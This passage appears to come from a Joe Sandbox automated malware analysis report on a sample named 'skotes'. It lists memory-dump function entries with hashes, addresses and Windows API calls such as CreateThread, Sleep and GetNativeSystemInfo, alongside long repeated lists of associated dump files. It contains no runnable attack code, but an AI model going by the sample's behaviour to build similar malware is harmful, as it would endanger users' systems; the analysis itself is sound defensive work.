Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 89e0dc98eb7e7a638929944c83b314eda406d0545c288f085b217df1547b76cf
Instruction ID: e4ae208eab52215cc6449bfe6537756b0c9c8da74435e74ef83b9cecc548d88b
Opcode Fuzzy Hash: 89e0dc98eb7e7a638929944c83b314eda406d0545c288f085b217df1547b76cf
Instruction Fuzzy Hash: 8A51F471241288DBEB58DF28DC89F8C3BA1EB48304F508619F8099B3D2DB7DD880CB56

Function 007B6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be360ed5ce341a64f7f7a945e81a093152da315d2a4095dbd3600f8eeb39a01d
Instruction ID: 4655fcc3399461060b5715c631ae2bad15067cb9fbb75af124224f59b4b7fa05
Opcode Fuzzy Hash: be360ed5ce341a64f7f7a945e81a093152da315d2a4095dbd3600f8eeb39a01d
Instruction Fuzzy Hash: E821F872905108BBEB217B68EC46BEF3769EF41374F100315FA242B1C2DB7C9E018661

Function 00796D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00796D11
Sleep.KERNEL32(00007530), ref: 00796D25

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 5527eeaf5dd6e3017d3964edf637b4a475d7daaf21f5dae96da8ae2c010fcdf2
Instruction ID: a9bb885ceb9aae38c32b9e24cda9694d8051817d18c121e9e573d5f2eb8126a0
Opcode Fuzzy Hash: 5527eeaf5dd6e3017d3964edf637b4a475d7daaf21f5dae96da8ae2c010fcdf2
Instruction Fuzzy Hash: E7D08CB07C1314B7FA2003213C0BF26AA209B0AF80F65684077483F0D086E8340047EC

Function 00788380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00788524

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: b74024548525313e460e827610874802a6fc933e72b740a975ae07af7450e4cd
Instruction ID: daff0f852c63118abac14684625ac0722c42bb1c09577dd6a775e56af88fa424
Opcode Fuzzy Hash: b74024548525313e460e827610874802a6fc933e72b740a975ae07af7450e4cd
Instruction Fuzzy Hash: 32511671D40248DBDB24FB68DD49BDDB775EB45310F904298E819A72C2EF389E808B92

Function 007B7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,007B705B,?,?,00000000,00000000), ref: 007B7166

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: fa445d361c69e7573e58ec1f2178c926fa007dffe0ff84dea0cf943d9e421fd3
Instruction ID: 9d3c6aeaf60a7f4541aab6814bb23d7f36660a1e180715692ff6581eb2a25fd6
Opcode Fuzzy Hash: fa445d361c69e7573e58ec1f2178c926fa007dffe0ff84dea0cf943d9e421fd3
Instruction Fuzzy Hash: 4F111C7290410CABDB14DED9C985EDF77BDAB88310F505262E511E2080EB74EA06CB71

Function 007BAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 007BAC8D

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

